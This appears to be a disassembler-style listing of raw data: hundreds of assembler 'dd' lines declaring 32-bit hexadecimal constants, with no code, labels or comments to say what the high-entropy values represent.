dd 0FEBB92C1h, 92527525h, 42D28CE7h, 6C118493h, 0CBA6B78Bh
dd 8169D317h, 0D7DF9C9Bh, 0F729C53h, 20EC4A75h, 0F7B6BA5Ch
dd 0F7C7C8F3h, 3E98721Ah, 0D9F6F993h, 0A70F5999h, 0CDE5C990h
dd 0B1553387h, 5ACBE78h, 9C1691D4h, 0B863C9E0h, 50A3E612h
dd 10FC5F5Ah, 0F87A231Dh, 2A1229F8h, 2F465E98h, 0B2D6F284h
dd 66EE6785h, 0BDDE3EA2h, 24084576h, 7C7241EAh, 34269CDAh
dd 21B1E84Fh, 135BD265h, 687ED76Bh, 0CC4E5C43h, 9ABE987Ah
dd 0A9ADFC8Fh, 71AB6D24h, 0ED079EB7h, 0A12BFE43h, 9961844Ah
dd 0C6B0C9A2h, 5A4FF190h, 0D7859EA2h, 0DCB3A514h, 374C11C8h
dd 13E83A59h, 6B6BF368h, 0E021B49Dh, 0E6565F61h, 7AC89C8Dh
dd 723FFE22h, 61E07F8Ah, 0A60E4237h, 8FF05D0Ah, 0DD7D636Fh
dd 8FBD370Bh, 0B686CDFCh, 0FEA33779h, 3B3DBCAEh, 4DF808BFh
dd 65DCC877h, 2EC62D95h, 0A88C06F4h, 5D16D511h, 660AC351h
dd 86873E7Ah, 0B6E7ED05h, 8C274CDDh, 8C3B5AFEh, 0B3344B7Ah
dd 5E47C76Ah, 0FEC90626h, 0F5CC4D5Ch, 9501304Eh, 410C7393h
dd 537A4ED6h, 135E0B4Ch, 0EDD290Bh, 0C76C935Ch, 0BC6B5A23h
dd 777F4D8Ah, 0DA817A8Ch, 4D2F1189h, 0AC0A87B2h, 0BF6905C3h
dd 0FB9402BCh, 7B0459D8h, 0E47ABF93h, 107FF2EAh, 6B543240h
dd 0F5A4FE0Ah, 137460CBh, 71D6317Eh, 845A46A5h, 0E2362EC1h
dd 3AB365D8h, 0C5FB038Dh, 33C07325h, 0A988699Fh, 46EC18FAh
dd 0E4EF176Ah, 4BC55E74h, 82C9ABF7h, 68912040h, 0B456ABD6h
dd 5EB9EDB4h, 0D8C7F50Ch, 0FE6794F4h, 0E86F1D17h, 1C053382h
dd 5FDCB842h, 528C627Eh, 24DBEF26h, 79042922h, 0BAC21D71h
dd 0EDD6DF5Fh, 89FACEA5h, 92A51D15h, 3E77EDC7h, 1CCBB122h
dd 30039B78h, 4795A3A2h, 0B5DEAB77h, 0B1031698h, 0A94ABBE0h
dd 7C999238h, 0AF708BAh, 242409Ch, 224DCA7Bh, 7621CACBh
dd 27B848D2h, 0B88733D0h, 8B8501F5h, 0E871F1BBh, 0EEFC9016h
dd 2552BF31h, 25899915h, 66661463h, 71CCC81Eh, 0A14B803Eh
dd 0F4F344B0h, 0C5DCA54Eh, 89D530B7h, 18B62AE4h, 854D30F4h
dd 66D10652h, 0D13CC504h, 1F480F42h, 0A9301783h, 3126ACD0h
dd 33398B1Dh, 0F8937489h, 9097AFF2h, 47E434A8h, 305274F1h
dd 0BA892DBh, 999CE43Ah, 76C6AB75h, 2FFE25D8h, 662256E9h
dd 0F4C74C3h, 29B6B1CCh, 3C56122Fh, 0B99DB337h, 7611DADEh
dd 0E7F48015h, 0AE3BC7FCh, 0B2C49A95h, 0F0681A2h, 0E13E83C6h
dd 0E65F90EDh, 4A0C293Dh, 5C035C96h, 0AA985B1Fh, 0D4433C23h
dd 5CA24052h, 955EE51h, 0CEAEADE3h, 3689DEEEh, 0F642F97Eh
dd 10484CFFh, 7A710964h, 8B8D5D88h, 0EDD2D8F1h, 20295EA9h
dd 0EDF40C41h, 9BC0E32Eh, 0F6D54742h, 9D8226BFh, 1349ED55h
dd 0E6D83011h, 0C52DD3B6h, 0F90E5E00h, 0EA06F255h, 484E03ADh
dd 3918A1C5h, 91BD0C18h, 22DF9EE4h, 0D93252Fh, 34662FCAh
dd 9591A156h, 1454CF89h, 0E2EC3914h, 0DF8DE92Bh, 4F38604Ah
dd 61263967h, 1A6A19E0h, 3CC33C46h, 0A0959846h, 4F47DF91h
dd 0F0E2190Ch, 929B8B96h, 0DDB18ED4h, 0CD51A569h, 71171F65h
dd 0AB16A35Ah, 83F94D5Fh, 20BA5601h, 0B0E6B9C0h, 5C4FAF08h
dd 24796EE8h, 0E3DD95B5h, 0E2608Bh, 0F70AC2E3h, 9662E3DCh
dd 2027486Bh, 20F264CAh, 0E70D63CEh, 0AF11BE85h, 609441Dh
dd 7A128E18h, 74914763h, 0B9DDF7D7h, 4CB817F1h, 137D0C1Eh
dd 16E1A425h, 8340AE7Fh, 8B34362Fh, 58D402A0h, 76944249h
dd 0D64198B6h, 9E5C2C49h, 4284A5D0h, 0CA14903Fh, 726A9D68h
dd 9C98B776h, 0DEED843Ch, 24F199FCh, 9FDC5101h, 0BF2844EBh
dd 0FBA46EC3h, 6FE36F1h, 9984B381h, 65F7150Eh, 17C489C4h
dd 2745CCA8h, 0CF310F74h, 0E28DE4CEh, 457E5EB9h, 120E2FCDh
dd 886D6FA0h, 0B48F5021h, 7D5B302Ah, 0DA9738C5h, 97F75601h
dd 0FAE34ADEh, 0F01DAD57h, 738C42CCh, 1543EDE7h, 0FA3AF2E0h
dd 0DD822E31h, 89FAA398h, 22EA2854h, 4D486D13h, 809C7FD8h
dd 17E0511Ah, 0D9AB3BA7h, 5B8A45EEh, 35DDC62Ah, 597A233Ah
dd 0F166B773h, 0A1C68F78h, 0DA7CBC04h, 1862092Bh, 0E3660E98h
dd 1920675Dh, 275E82E5h, 4083A6EAh, 86C89685h, 3462EEB8h
dd 0C02A119Bh, 556F877Ah, 0CF006EA3h, 8E9E1CD4h, 2581E708h
dd 4D7E5861h, 678DFDC6h, 96962138h, 3DB88B08h, 0C4B6F466h
dd 3F882302h, 616255DFh, 2C4B0AB4h, 86BB2AE9h, 0BB131C9Ah
dd 0E31B9DC8h, 0DC06F7Ah, 0ABFD7289h, 20230903h, 0B606C481h
dd 1C8EBDA7h, 0A5E8B506h, 0F1F87F30h, 94FAFB02h, 31C3B95Bh
dd 86753FDBh, 0DB310F34h, 4B93E42Fh, 38A6BEE6h, 8F66075Ah
dd 5A3DE4C3h, 9BF17572h
dd 0C5716CE1h, 0DF29BA90h, 47FDD1B1h, 9B3DEBBDh, 14904037h
dd 4EB3D145h, 627C665Bh, 3BE69BAEh, 284B73E7h, 643C7583h
dd 5998FFDFh, 843EAFE7h, 3414D972h, 0F9F47EE1h, 40F42A7Eh
dd 82CF3808h, 9A0CC798h, 33DC50A7h, 0C9F8FB1h, 6A3D5B39h
dd 4362AAFh, 0A1FD0C72h, 0A5549BF7h, 8670CAC1h, 37E8AB4h
dd 2ECBA424h, 4A792A87h, 0D7006CB1h, 0AE273F73h, 76535D12h
dd 0B49F0DE8h, 0BFAF7F18h, 3FCD1360h, 0F63F9DB5h, 284D3E49h
dd 0C8444FE9h, 0AD07420Eh, 646DFC08h, 0EB729BFEh, 0D0E247A6h
dd 8CD3FE45h, 0BA76FF7h, 0F20021D6h, 0BD538B4Dh, 0F48A5423h
dd 91457013h, 8E0B214Ah, 0BE696C09h, 7356B16Fh, 0B34B86E6h
dd 44E6371Bh, 5B85F95h, 0F63D08EAh, 0FF7B681Dh, 0C1FDD685h
dd 0D90CA3A4h, 0B4A8E3F4h, 42FD6CC7h, 51399293h, 0BAD034C9h
dd 657CD72Bh, 3EA7FD1Dh, 0E582CE1Eh, 1EFB4030h, 61DDDC90h
dd 1F0F1052h, 0ECE46824h, 0D91AF692h, 41DEBC44h, 3ACDAEDDh
dd 0FB3DCB7Dh, 0F025D8CCh, 1DD3FA2Eh, 29B4855h, 0D19EFA37h
dd 4DC3BD3Eh, 72478256h, 9C4CD36Fh, 2EA237CFh, 0EEB000A0h
dd 0C4001146h, 40C1BC59h, 5453D810h, 6717367Eh, 0D46AA194h
dd 730D5A9h, 9FD369CCh, 2C9A1024h, 93BD2339h, 0FA153982h
dd 25E76916h, 70F0C341h, 9F21BC0Ch, 78A97E18h, 83A292Fh
dd 772B7129h, 0FA802879h, 0EC4F02E9h, 0A1EDA7B1h, 8FBE8F21h
dd 0C9455E07h, 0FAAF0F1h, 0A0823546h, 2145B5D7h, 0A4F8472Fh
dd 1946FF6Ah, 416CDF11h, 0E648A2DBh, 0D1E4A4B6h, 0ED8BF5E4h
dd 10F2252h, 989AD786h, 0C0941990h, 0D68D8924h, 0C204C451h
dd 92F70FB1h, 5254A80h, 0A58FAC96h, 9C800834h, 6481888Dh
dd 0C211535Bh, 0BDD1F6D0h, 9D15EE2Eh, 0EE8433EFh, 0F5EC6956h
dd 0B2078DF1h, 0B060E940h, 0C6F9CCC6h, 8D122C3Eh, 20917091h
dd 0CFD2985Fh, 64A67D4Ch, 80D25C50h, 46A8FD43h, 7C56A3FEh
dd 3BCCF5FAh, 0EE5F14D7h, 4A59FC45h, 698BA387h, 8AE9ED87h
dd 0FF5FB351h, 2578EBC8h, 9EBBA5B0h, 0DEECC743h, 9DAB980Bh
dd 8850932Fh, 749A934Ch, 0F23B6F60h, 0AD93E0C6h, 0AB2B8FA7h
dd 5B6FC665h, 0B4E797F3h, 19ACFD3Ch, 0A902E189h, 78A8B457h
dd 7D0B5EEAh, 2486C630h, 8F1169DCh, 0AC359E9Eh, 6C401058h
dd 4F7AB96Bh, 9A2497A9h, 808D722Dh, 6FECF1F2h, 5C0CA0DAh
dd 5A18FE10h, 40369A4Ch, 37BB2A4Eh, 832A5D2h, 32F67D48h
dd 69441FC9h, 0BDD1E857h, 455A7F7Fh, 0E1B0EA78h, 21B62CF5h
dd 5E8D7BC2h, 35CD4666h, 0EC62486Bh, 0ACA83E4Ch, 0D0FE637Bh
dd 40BDF362h, 0EA720F9Bh, 0B204CDDEh, 0E133A61Dh, 31DA7CCCh
dd 0DD70832Bh, 2378FAE7h, 334CAB3Eh, 0C6175B0Ch, 9CFCE78Fh
dd 0C2FAC31Ch, 2218126h, 80E9920Ah, 11A0ABECh, 1E0DAB09h
dd 361C605Dh, 3A9CF0E6h, 72D773B7h, 95A39C95h, 0B84F733Dh
dd 18E414E0h, 0B82356CBh, 84B72236h, 21D3DB21h, 0AA8EEFD4h
dd 0C412E058h, 90169D41h, 0BBB41363h, 0E7705D3Ch, 5BD948A1h
dd 0A7311456h, 70DA966h, 0E88FA300h, 0F0C8B56Bh, 33A61C30h
dd 4139CB98h, 0D5F9C07h, 6211759Eh, 68C12EC8h, 6A33B9B7h
dd 2BCD413Fh, 9A30251h, 0E4D23EABh, 0D1CDA4DBh, 2EC0152Ch
dd 5864D064h, 68D1FA2h, 0E6E7BE88h, 32CD3414h, 7BDC1ABBh
dd 67669408h, 9866A10Ah, 0B97AC605h, 72E45FC9h, 865712D6h
dd 0CA40B350h, 0CA945530h, 3DCE8539h, 0D98FFEEEh, 9250DCFDh
dd 8F92E650h, 53EEA851h, 0C4405144h, 0C9C81EC1h, 4F8A35ACh
dd 749EA811h, 0B8E6909Eh, 826BABD9h, 0B82487F9h, 0ABC287C5h
dd 753FB289h, 0CE773F28h, 97EBA55Dh, 9A64307Bh, 1BA0EB52h
dd 0CAC28135h, 5337B73Ah, 0E51D73E0h, 338DBC38h, 0DA817D8Ch
dd 0A68B0801h, 0EEBA2462h, 50FC3C74h, 0AE4655C6h, 64AAE9DDh
dd 5E433CFCh, 1AB041E1h, 56B0D015h, 72B6A210h, 5914F501h
dd 6A3F7C36h, 0F6E9C684h, 0C726D519h, 0B545BEA2h, 0CFBAC446h
dd 438061C8h, 0E6AB0CE4h, 27A40D2Fh, 0C900CD59h, 5C2D4CADh
dd 85506B6Fh, 0C5C85059h, 0F929AE92h, 27C6EB94h, 5BFA029Ch
dd 7A7D1C62h, 50B64FE3h, 0EFB41658h, 3BA1E253h, 13F136DAh
dd 0B1CF2274h, 8B03CF9Dh, 700418A2h, 2E6ED111h, 0ED55E645h
dd 0E2523F18h, 2CF6005Eh, 0B739E174h, 0BC9BD195h, 4B657A97h
dd 16D32127h, 0A305F26Eh, 25687F38h, 0BA5B2A70h, 705FECB5h
dd 850252EEh, 141147D0h, 0D3D1CD99h, 3B0F01F1h, 0E04B6B1h
dd 2E74129Dh, 0D3097E41h, 0A727DCC0h, 67809DCCh, 0C410717Ch
dd 460EEAF4h, 0AD98A470h, 0FFAC6CFDh, 0A9030BEAh, 1338BABEh
dd 635236Ah, 1B761B30h, 0F1A786E5h, 213DED62h, 134CEF28h
dd 0EECBCC86h, 0BA08F401h, 76BE0F1Ah, 89ED1EF4h, 0D7522E68h
dd 7BE0B478h, 44E9F98Fh, 0A803D541h, 51BD2584h, 0E5CE69FFh
dd 77DDA199h, 2C7DDB0Dh, 8C76281Bh, 311D2AFh, 4EE61A49h
dd 0FF18F181h, 2E625AC4h, 76E35EE1h, 0A1752B2Eh, 1A8DEBF4h
dd 278DEFFh, 3CF01550h, 0FF77A25Dh, 9543A533h, 0A6735B5Eh
dd 9455F2C9h, 0E4CF07B7h, 5F9FA43Fh, 4BE0BB4Ah, 790C3987h
dd 3485F75h, 79108CE0h, 15EF6D61h, 76FD5C28h, 4AD9B499h
dd 0E145ECh, 0F688860Ch, 0C59EB132h, 0F9C8EFE3h, 96C6942Eh
dd 5AA967FAh, 339E3958h, 60290B32h, 2A6FAD39h, 0FEE5087Dh
dd 5E7C1126h, 93A62D24h, 0E673D4D8h, 7C0178CEh, 7E1AFD45h
dd 38DFAA80h, 4B547D53h, 1B4AA342h, 220967CBh, 4E6BA33Bh
dd 98A3C982h, 35787AFEh, 58C8D2E4h, 0FA1E3299h, 782C79E3h
dd 0DE78E5E5h, 0E6C68A88h, 0CA33FF7Bh, 12A3D1Fh, 14B56542h
dd 0C17D5A1h, 0DE04AC35h, 8082225Ch, 6F0AEC9Ah, 742F387Fh
dd 0FB775225h, 0DB05FE4h, 0E5A49F4h, 7C4B99EFh, 0E888A283h
dd 3A78FF02h, 0B24251F9h, 0A8953AFCh, 0F4532F69h, 0B4197433h
dd 0E04A286Fh, 4C4EBC1Ah, 82AE4D90h, 0ADD1149Bh, 16F5D67Dh
dd 0FCF34CA7h, 0E6ADCC34h, 5A77D8D7h, 9A07B51Bh, 0FF82733Ah
dd 13D141FDh, 92B76527h, 72484835h, 0E411896Ch, 0B91956A1h
dd 0B128DD2Eh, 9155F75Eh, 81E94C8Ah, 92206900h, 0B830DFEBh
dd 9CB2DDCDh, 141B8461h, 0E9560810h, 87A413Bh, 1CEC123Dh
dd 0BA65696Fh, 5C5EDC43h, 9D903C79h, 80B7E83Dh, 2DD999BFh
dd 0EFEA5311h, 3E5586E1h, 793DC7DEh, 0B19D5B30h, 5386D966h
dd 4DD67287h, 0F89AF6F7h, 34D65ED7h, 0E12146F4h, 4C6DCCE2h
dd 0ECC8C1Eh, 0A846D28Fh, 0F3B81966h, 71E795F5h, 7120989Bh
dd 92A54FA6h, 429AFB39h, 0C0A5FC9Bh, 5D98B9F0h, 94838E96h
dd 655D1AF6h, 451177B3h, 8F081369h, 2D0EF12Eh, 54496481h
dd 725F562Fh, 911FD67h, 6C82CA69h, 64FC9F1Dh, 90B184E0h
dd 32DD5D78h, 8A55C4CFh, 3301C729h, 0A975DDECh, 119035Eh
dd 0E40D8647h, 0D480ABA7h, 0E248D93Ch, 891A9759h, 43391204h
dd 0BE626FC3h, 0D4F463BCh, 0BAD8D4F9h, 284C439Fh, 4D386394h
dd 88232D16h, 7DEE7FF8h, 0FFD40C44h, 0B24D90EBh, 0CBA360Ah
dd 0BF5EB52Ah, 0C49B9717h, 574A5E77h, 52E66A69h, 7E4C1486h
dd 22568226h, 813F1036h, 4B4D658Ah, 3A54B7C2h, 5BC4EE76h
dd 0E37FD066h, 0C79A0826h, 0F643A75h, 93A320C2h, 71744593h
dd 0A24DB612h, 76DE7EEFh, 0EF5DD986h, 0B8554A53h, 394966DBh
dd 9A3DC726h, 0B73F8F46h, 8BF55FA9h, 0DE105D52h, 63FF4033h
dd 0E05DAC83h, 27C5C906h
dd 0A8421515h, 0D852E786h, 53D87D3Dh, 0A609BE82h, 62D35C0h
dd 51549D11h, 279AAF14h, 0B4ADA327h, 4E13D7A9h, 248C1229h
dd 1E726513h, 0F621BFEFh, 0D7AA4AEh, 119AD1E2h, 5DFC98C3h
dd 879F31D8h, 102725Dh, 0A3A216D3h, 0D0B5A57h, 0D6F92756h
dd 80ADB5E6h, 42E0D82Eh, 0A8423EBEh, 3EF9A847h, 0ED349D94h
dd 0DE29CA50h, 0A4CA0BA6h, 0D6A3CE7Fh, 0C10FBF7Fh, 3FAC2C8Ch
dd 5FF37911h, 9BF0A75Eh, 64167A63h, 0EB0B24C4h, 6DA78FDEh
dd 2372E0DCh, 0C84ADF5Ah, 8FF78436h, 58A2BBB9h, 20D493ACh
dd 0B5707CC5h, 3EDF889Ah, 0D24073Bh, 5DD3FF8Ah, 0BA9D1E09h
dd 787A794Dh, 53D15A5Bh, 841403A9h, 89C4C7DCh, 8F169763h
dd 939D98E7h, 32077EBEh, 0D38F8808h, 34F8175Dh, 159D7CF8h
dd 7F7F1F39h, 0D1F80756h, 0D186328Eh, 2F773605h, 0DA82F490h
dd 4EA81C8Dh, 5A135E67h, 51C3C1A3h, 90B8E1C7h, 0F6F8EA5h
dd 8CDA7ABBh, 32EFD6D4h, 0DCC952CBh, 0D6A77CA7h, 0BB5DC9E1h
dd 1A706BC7h, 0B0C83232h, 6175BC0h, 12265F8Fh, 0AF47EA7Dh
dd 1B520B6Ah, 4E10660h, 0EE9743AEh, 6C5820F5h, 16AFB346h
dd 30AE69BEh, 0D0D4DD41h, 7C23281Ch, 0C0ECFC04h, 34455DE1h
dd 413A79EAh, 88066E50h, 0F9485AA4h, 3ED83D8Bh, 0FD611E45h
dd 1348CC58h, 887C3BFBh, 38A6E678h, 3759F7C9h, 0C8BE2B0Bh
dd 1C917707h, 6D5A7BCh, 840EB1B3h, 52E9D70Fh, 21233011h
dd 1F4B0C64h, 7CC32A3Fh, 5698EC47h, 0F80B491Eh, 0DAC6F2E6h
dd 0BD0F5D24h, 2049D89Fh, 0C0142E6Ch, 22241280h, 80E77692h
dd 1126FDB8h, 0EB23A62Ah, 53AB40D3h, 90108DF1h, 44214034h
dd 0A7B9B526h, 0A2694640h, 0E5D4D764h, 25310848h, 59946B42h
dd 0A0AE077Bh, 3DBB9691h, 6F10AFD2h, 3D783A05h, 84B657B7h
dd 0C7C062B4h, 5B693F6Eh, 0BDF927BDh, 6F6A6221h, 0B5E493DEh
dd 0BB496428h, 66E9F585h, 409D1BC8h, 9519BF7Bh, 577557D0h
dd 264219DBh, 84CAF33Ah, 0AE7FB46Eh, 52454F57h, 0CBA70984h
dd 5C77F353h, 24572193h, 54E0C7ADh, 0B2494E95h, 0C47D5D21h
dd 72B9E061h, 2220F651h, 12AB1736h, 37510850h, 0AA392D07h
dd 3A9AB004h, 7CB01835h, 0ED4B2165h, 0AF7BCBC3h, 0A307C89Ah
dd 80A3F0EFh, 836CE538h, 631F7337h, 0AE65E5D5h, 0DEE9354Ah
dd 0E0F8214Dh, 1A83274Ch, 7E6E6B9Eh, 53BA2C94h, 11FEE9F8h
dd 0C2F8DE98h, 0B382A96h, 60500FBAh, 34EF4B7Eh, 0F02EE33Fh
dd 3D6CCF72h, 17496763h, 5B4804FAh, 0C6C5AB13h, 0EDA6694Ch
dd 0E14E5658h, 5A0F1AF4h, 9AAB7DFCh, 8B3A487h, 0BF2A247Dh
dd 0CAE25BB5h, 47513705h, 0F224CB18h, 0B8514022h, 46495901h
dd 41DD585Ah, 0CD01D37Dh, 86EC83DEh, 2A936E38h, 335AE878h
dd 539BF153h, 0D15B98DDh, 0D6E4BFE5h, 188ED65Eh, 7A99FBC2h
dd 0E9CD3530h, 41BC8DC1h, 0E2DBBD18h, 0A29E01E2h, 0E88410C6h
dd 7FC82758h, 0D9FE91E6h, 0C720134Eh, 106BE624h, 63A79A83h
dd 423BCA3Ah, 0D9270E2h, 3D85754h, 3F11AED9h, 83BEAFDFh
dd 8267BA8Bh, 4FF4AB02h, 8DAD4A5Bh, 6DC77E0Eh, 60D8BFB6h
dd 8794AFA6h, 0FAA4146Fh, 6DCE62F5h, 5B5F52C4h, 0F22EBD63h
dd 0C9507D18h, 545EBA6Eh, 0DF4C300h, 6B45155h, 3130FAD8h
dd 0A020CEEFh, 0A05CF6F8h, 62782C99h, 2D3EE0BDh, 9769704Ch
dd 865CC673h, 1F0CAE17h, 0B4B4C672h, 0EB936BAFh, 3A135EC8h
dd 0E5CFABE5h, 4337B02Eh, 725A5ABFh, 0E6E1D632h, 0C3D6A2BDh
dd 0B7583980h, 10E6E8CCh, 7E09A8BCh, 0DAB238FCh, 3ECF6E9Fh
dd 0A01A3A3Ah, 4DD034E1h, 2BBD67D9h, 16EC6CE8h, 69CB35A9h
dd 0B7D5CA73h, 97B918E0h, 9FC910F5h, 0F02CDF41h, 2607A8A8h
dd 0BD74A210h, 9F914942h, 4A3F3559h, 6463A654h, 5D1F8AACh
dd 29DCCFD5h, 0FBADDA3Fh, 7FBB999Ah, 0A8BE405Ch, 0B5565D5Ah
dd 85399F6Dh, 0C2112BF4h, 0E9978A1Dh, 8A8723A4h, 7E474F18h
dd 4B973BE0h, 99D02F1Bh, 0DC42D656h, 0F1909E18h, 23F18C7h
dd 28AA4E73h, 0E9DA3B69h, 43DFAA46h, 37ABC716h, 0FC58130Fh
dd 0A5A47BF0h, 0B2B44F6Fh, 3EB239BAh, 0C291F816h, 13A6FE09h
dd 146379E7h, 87EEB4ADh, 4887FAE0h, 878E8315h, 0A255507h
dd 0D6D230E6h, 5D8E2AB1h, 0BF6C0576h, 727B941Ch, 3226E1C9h
dd 462408B3h, 59CADA7Ch, 0B9A83F92h, 1043E56Bh, 0AFC52DDCh
dd 0F4D93893h, 0EC9D666Ah, 34820254h, 0DD5630E0h, 569C2E6Ch
dd 0BF6A3549h, 8E04D661h, 5A9F96A2h, 9218C0ABh, 4038A4A4h
dd 4B7A700Bh, 59A01CB3h, 0A73491B1h, 1DB3FBBAh, 687F77F9h
dd 4F542193h, 306C9F78h, 0B0E50A79h, 0E571CF6Ah, 8BFB5919h
dd 5048D9BDh, 0C24425F2h, 7A2502C9h, 9BF9C17Bh, 0E391F80Ah
dd 6E53A8B2h, 84C6315Dh, 0B662A331h, 0A10C7C61h, 7FC3D752h
dd 7A4B77F7h, 2603A268h, 76E2A8DEh, 9559B868h, 50048054h
dd 75700B63h, 0C06E8190h, 4C09B062h, 4271D6F5h, 322B31C0h
dd 8124B267h, 47E08FAAh, 0E1043339h, 1F9C4723h, 0B37ADD1Ch
dd 0E8C7777Dh, 5E6F19E2h, 0F1DC13EFh, 0C7CE0567h, 4BFFF651h
dd 6612AF56h, 28A14512h, 0D0DA07h, 0A80F187Bh, 437F6D01h
dd 0CEEA794h, 0C975E587h, 76C09085h, 0A50E3FD4h, 8A74897Ch
dd 1AF54AAh, 52D019A3h, 0C4001EEAh, 1CB971A1h, 0F6D83635h
dd 0B4E9219h, 72EE1584h, 0CE1EDA0Fh, 68DAA707h, 0D4D39577h
dd 63365B5Ch, 79D6517Ch, 84E420B6h, 0F3B69B9h, 0D855FF27h
dd 0BBC9AE86h, 0BA68500Bh, 1B53D11Bh, 5049B2EAh, 0A7826914h
dd 3766E186h, 74608D7Fh, 14F653F4h, 0DBCCCBA6h, 624E16DDh
dd 3930CFCFh, 0E18A515Dh, 0E9B480CBh, 0C09E3BD0h, 0FAA4173Ah
dd 0BB75894Ah, 7E34BE00h, 925CC59Ah, 291DB052h, 0FE881363h
dd 91D8DFD4h, 9299E0B0h, 6CB406A3h, 97815D5Dh, 0F0A5C7A1h
dd 0AC3D450h, 4042C917h, 87B3763h, 0EE795225h, 0B21C3AF1h
dd 7C373DCFh, 12A2B9BCh, 0EA9F76B7h, 81F79660h, 81D0B1EFh
dd 0C242BD6Dh, 0C84AF4B4h, 0F2F7006Dh, 0C91E0A0Ah, 0D9FC89BAh
dd 1833A5E9h, 5E8A24C7h, 1C1BDBEAh, 731522DDh, 23D4EB8Eh
dd 0BF912CB7h, 0D8E39567h, 98FFFAC1h, 78BCB9B7h, 5939926Ch
dd 0A2FC80BBh, 0D176747Ah, 56216815h, 93E314A0h, 0C3DE6FBAh
dd 0F248F4ADh, 623E8752h, 993A2787h, 0AA6ADD0Dh, 53B10554h
dd 64F85621h, 0E3F74C93h, 0DD4E3ADAh, 0B91ECB04h, 44653FCEh
dd 343FD415h, 416E016Bh, 4B7B6C25h, 7418E4DAh, 6D96B9C5h
dd 0F0AC4798h, 4F573F0Bh, 316C01B1h, 88290C12h, 0D69345F3h
dd 9FDF2EB6h, 0EFC6A869h, 0F1178956h, 324E8E6Ch, 24F4B8B1h
dd 48B9A5C1h, 0CE203C5h, 0BF5AF7F3h, 0EC182855h, 0EAC14F55h
dd 10F5C82Ah, 96F3B84h, 0DB348727h, 4E45AE4Ch, 88ACDA35h
dd 0F2DA8C18h, 202C2484h, 0EFDF9FEEh, 0E58CC102h, 0FB78B9A9h
dd 2181CACEh, 1D89AF6Fh, 65A2DA9Eh, 0DEAB1D4Bh, 0C23DBA9Fh
dd 0EAE19C53h, 526C4351h, 55B03A42h, 0DC4220DAh, 26187620h
dd 3D20D115h, 86E11A7Bh, 0E87C25D1h, 3F7A3A2Ah, 0AD14A16Bh
dd 0F632DEFh, 0FF954932h, 63546B85h, 9E56E5CBh, 0B3D45F37h
dd 5672D2F6h, 0AD68827Bh, 0FD77C460h, 18E80FD9h, 0ECB6A9E9h
dd 3154591Bh, 2803BF19h, 2EDAC719h, 4D2198DCh, 24D99C81h
dd 9B10C957h, 6BFAB760h, 6C3526D9h, 0BB3880E3h, 0D31FF557h
dd 60C30A68h, 0A1B13A2h, 0B61AA313h, 8FD511D1h, 26E88688h
dd 45FD728h, 5E352C3Dh
dd 8BFE119Ah, 0E6E7A74Ah, 15A9CADBh, 98CB9Fh, 0C133540Fh
dd 387992B4h, 7CDB7C98h, 3144168Ah, 0C0208F6Dh, 98341C30h
dd 0D2C0509h, 38E374E6h, 4CB327CFh, 9707C028h, 9EA23323h
dd 5A3E1F14h, 0C3BB688Ah, 5C44610Ch, 9654DA8Ah, 62313DD2h
dd 69E95B98h, 18B8A600h, 0F2984C0h, 0BE0B304h, 1D8FC464h
dd 0AB7FEDBCh, 0B333480Ch, 2E61CB48h, 65CF08FFh, 0D89A6FD7h
dd 7017E810h, 1E75A9ACh, 69C55793h, 0B06A4EC3h, 879DF5h
dd 0D1EAAC98h, 626208E1h, 6F8108C0h, 26A1E80h, 11CEAD58h
dd 35634948h, 4E50E45Ah, 8A6F6612h, 8A4ECD59h, 9BC34336h
dd 770AFBB0h, 185A648Bh, 0C6F970h, 0FA805F58h, 0A4E053C6h
dd 0D4EE2BCh, 0B7E63AB6h, 0F482E3F4h, 0C6A217C7h, 8C293DA4h
dd 2FCEA9BCh, 0DECEA523h, 9ED510D4h, 0F510D402h, 1F2A1104h
dd 692C10ABh, 9381FE2h, 97BB2A43h, 9C01E8C0h, 0A16B4421h
dd 233BE6Dh, 0F8FCBA2Bh, 0C388F896h, 0E0527B9h, 698105C7h
dd 560381CCh, 0DE8B2DAh, 241D9789h, 2DD1A333h, 0BA893DBh
dd 0FD4AB04Ch, 5CF2A7D9h, 68CE7FBEh, 5167FD15h, 0C365F250h
dd 0E80D824Eh, 0A7849FC1h, 382664B9h, 0C13E6FAh, 14CE5866h
dd 1B8DEE82h, 9DBBEF37h, 0B014CA86h, 513BF558h, 84A70253h
dd 2279EDC7h, 0B57912Eh, 4DBA45BEh, 2A50DC0Bh, 55DF2991h
dd 0F10796FDh, 6CE9B144h, 0AA218778h, 0FE499ABh, 0B8F182EDh
dd 7F5ECA2Ch, 8C0740E2h, 0E80EF3B4h, 3C270584h, 0F0B12C8Bh
dd 83351904h, 34FF0F6Bh, 0D689293h, 5DFF73h, 0CCBFEA7Eh
dd 0B4845656h, 45500392h, 413800C0h, 0D188BCEEh, 340BE740h
dd 8486445Ah, 0D79B8B69h, 98AFC356h, 12DF2200h, 0B7911BA1h
dd 25B22884h, 7D653826h, 0ADA54852h, 0DC2C402Bh, 6C620C1Eh
dd 6F6357F4h, 13522C87h, 3E5E39EEh, 6985C520h, 95181CBBh
dd 2871A8FFh, 3F373722h, 789D06E8h, 0EDB5F73Eh, 7FCC285Dh
dd 4C31F8A4h, 0E9CFAF5Eh, 0A743D189h, 85C16C25h, 13314CDAh
dd 0A569DD14h, 6A347810h, 0AD3CD59Fh, 6C250E68h, 390B2452h
dd 0D0588979h, 96B19B82h, 0E0F4F319h, 57996EC0h, 23ADCA76h
dd 7A407FD8h, 0A43D32D0h, 0C3E965F6h, 12233A2Ah, 6E5DF343h
dd 9F917225h, 0CE168BCCh, 0E2F681A0h, 9D8E266Dh, 0F0FF8FB5h
dd 0DFC896B0h, 992B0562h, 83F57D1Ah, 0D39609D8h, 3166AC8Ch
dd 0A3BE7565h, 0E73BC597h, 12E6F184h, 0E22B6E36h, 61B1CDC9h
dd 972B5B18h, 0CCBA1D0Fh, 1105C604h, 347A9578h, 443FFE37h
dd 57BA1CEEh, 364B6A20h, 847ADC17h, 0CCD891BFh, 2375E8F1h
dd 9E2165C4h, 8031135Eh, 0A9B56C05h, 962F08D7h, 0CF00B67Fh
dd 76B605BDh, 7D12792Ah, 21856588h, 7735125Eh, 0E7F8F2FDh
dd 0BF620B84h, 2FF12D77h, 9D7FD676h, 62669881h, 220594C7h
dd 9891B18h, 0FF9E0B73h, 0B1BD35F3h, 0DD466BA1h, 42C33434h
dd 9AC8BD56h, 0BD6F7263h, 1CC8DDD0h, 0B277DC61h, 0B922F871h
dd 9EE8BE81h, 1C65DF5Dh, 0ABCA620Eh, 2E427F1Fh, 29CE9F3Ch
